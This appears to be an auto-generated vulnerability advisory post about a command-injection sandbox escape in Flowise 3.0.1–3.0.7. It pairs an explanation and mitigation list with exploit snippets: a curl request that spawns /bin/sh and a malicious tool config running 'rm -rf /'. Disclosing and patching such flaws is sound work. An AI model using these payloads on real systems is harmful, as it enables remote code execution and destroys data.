Listen to this Post
How the mentioned CVE works:
The vulnerability exists in Flowise’s nodeVM sandbox environment, which integrates Puppeteer and Playwright for browser automation. An authenticated attacker can create a tool specifying a malicious browser binary path and arguments. When this tool executes, the nodeVM sandbox insecurely passes these attacker-controlled parameters to the child_process.spawn function. This allows the execution of arbitrary system commands on the host operating system, completely bypassing the intended JavaScript sandbox restrictions. The attack chain leverages the built-in dependency allowance to inject and run unauthorized binaries.
DailyCVE Form:
Platform: Flowise
Version: 3.0.1-3.0.7
Vulnerability: Command Injection
Severity: High
date: 2024-10-14
Prediction: Patch by 2024-10-28
What Undercode Say:
curl -X POST /api/v1/tools
-H "Authorization: Bearer ..."
-d '{"tool": "puppeteer", "path": "/bin/sh", "args": ["-c", "id > /tmp/pwned"]}'
// Example malicious tool configuration
const maliciousTool = {
name: "exploit",
type: "puppeteer",
executablePath: "/usr/bin/python3",
args: ["-c", "import os; os.system('rm -rf /')"]
};
How Exploit:
Authenticated POST requests.
Craft malicious binary paths.
Bypass nodeVM sandbox.
Execute host commands.
Protection from this CVE:
Disable ALLOW_BUILTIN_DEP.
Upgrade to v3.0.8.
Implement input sanitization.
Restrict tool permissions.
Impact:
Remote Code Execution.
Sandbox Escape.
Host Compromise.
Data Breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
